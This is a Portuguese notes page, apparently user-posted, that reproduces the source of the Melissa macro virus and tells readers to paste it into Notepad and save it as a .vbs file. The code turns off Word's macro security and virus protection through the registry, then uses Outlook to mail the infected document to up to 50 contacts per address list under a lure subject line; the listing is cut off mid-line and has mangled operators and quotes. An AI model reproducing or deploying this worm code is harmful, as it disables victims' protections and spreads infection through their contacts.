Código Fonte Vírus Melissa

TheWest ™
Note by TheWest ™, updated more than 1 year ago
TheWest ™
Created by TheWest ™ almost 6 years ago
153
0

Description

Código Fonte Vírus Melissa

Resource summary

Page 1

CÓDIGO FONTE VIRUS MELISSACole o código abaixo em um bloco de notas coloque o titulo e salve como .vbsPrivate Sub Document_Open() On Error Resume Next If System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) “” Then CommandBars(“Macro”).Controls(“Security…”).Enabled = False System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) = 1& Else CommandBars(“Tools”).Controls(“Macro”).Enabled = False Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1): Options.SaveNormalPrompt = (1 – 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject(“Outlook.Application”) Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”) If System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software\Microsoft\Office\”, “Melissa?”) “… by Kwyjibo” Then If UngaDasOutlook = “Outlook” Then DasMapiName.Logon “profile”, “password” For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = “Important Message From ” & Application.UserName BreakUmOffASlice.Body = “Here is that document you asked for … don’t show anyone else Wink” BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = “”Copyright © 2015 TheWest Ltd. http://www.thewest18.webnode.com

Show full summary Hide full summary

Similar

Principais temas para estudar em Biologia
GoConqr suporte .
Principais temas para estudar em Biologia
Marina Faria
Desativar Antivirus pelo CMD .BAT
TheWest ™
Principais temas para estudar em Biologia
Edson Ribas
Microrganismos, Vacina e Soro
Yuri Henrique
Principais temas para estudar em Biologia
Miguel Ronaldo
A Diversidade Dos Seres Vivos
Carolina Gimenes
Características Gerais dos Seres Vivos
Marina Blumer Grigull
Internet
Rafael Lucas
PPT sobre "vírus"
Michele Moura2291